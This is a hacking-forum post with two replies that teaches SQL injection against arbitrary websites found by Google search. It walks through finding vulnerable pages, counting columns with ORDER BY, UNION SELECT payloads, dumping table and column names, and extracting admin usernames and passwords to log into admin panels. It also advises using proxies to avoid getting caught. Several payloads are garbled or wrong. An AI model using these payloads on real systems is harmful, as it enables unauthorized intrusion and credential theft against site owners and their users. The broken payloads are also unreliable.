[PVPPRO]

SQL Injection is by far one of the most common penetration attacks. Its also my favorite and very effective.

Step 1.
Open up google and search inurl:members.php?id=[/b
Step 2.
Click on any of the links and then put a single quote ( ' ) at the end.
Step 3.
If you get an error, like [b]You have an error in your sql syntax, then go to step 4. If not, go back and find another link.
Step 4.
Now you need to know how many columns there are. http://example.com/members.php?id=4/ Will be our example.
Type "order by 10" at the end of the url. http://example.com/members.php?id=4 order by 10.
If you get an error, decrease the number. If nothing happens, increase the number until you get an error.
Say we do ORDER BY 10. No error. So then do ORDER BY 20. We get an error. ORDER BY 15. No error. ORDER BY 16. Error. That means we have 15 columns.
Step 5.
Now we need to find out which columns are vulnerable.
We do this. http://example.com/members.php?id=-4 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15.
You MUST put a negative (-) in front of the value. You should then see numbers in place of the content. Choose one of those numbers. For example, one of them is 14. So to find the version, we just do:
http://example.com/members.php?id=-4 1,2,3,4,5,6,7,8,9,10,11,12,13,VERSION(),15
The version should then be displayed. Now we want to see whats in the database, dont we?
Step 6. http://example.com/members.php?id=-4 1,2,3,4,5,6,7,8,9,10,11,12,13,GROUP_CONCAT(table_name),15 from information_schema.tables where table_name=database()
That displays all the tables in the database. Now, for example, we see this:
admin,news,content
Oh look. A table named admin. Now we want to see the columns in the table admin.
Setp 6.
http://example.com/members.php?id=-4 1,2,3,4,5,6,7,8,9,10,11,12,13,GROUP_CONCAT(column_name),15 from information_schema.columns where table_name=CHAR(097,100,109,105,110)
You need to replace database() with your tablename like: CHAR(tablename in ascii format)(use this:http://personal.projectxxi.com/email_addr_encoder.html)
Also replace "_schema.tables" with "._schema.columns" and the group concat.
You should then see something like: admin_username,admin_password,admin_id,admin_ip
Now what you do to get the username and password is:
http://example.com/members.php?id=-4 1,2,3,4,5,6,7,8,9,10,11,12,13,GROUP_CONCAT(admin_username,0x3a,admin_password),15 from admin--
Congradulations! Now you can see all admin usernames:passwords! Now use this: http://scan.subhashdasyam.com/admin-panel-finder.php To find the admin login page. And now you are admin!

You can get in big trouble with this. Use proxys and DONT USE IS FOR BAD!!!!

[RogueCoder]

Thanks for the share. One thing I see most of these tutorials is leaving out though is that you will only have access to the information_schema if, and only if the current user has read access to the table.

[Nikka]

Thanks to share.... Very superb tutorial i need it.... I Got it Thanks again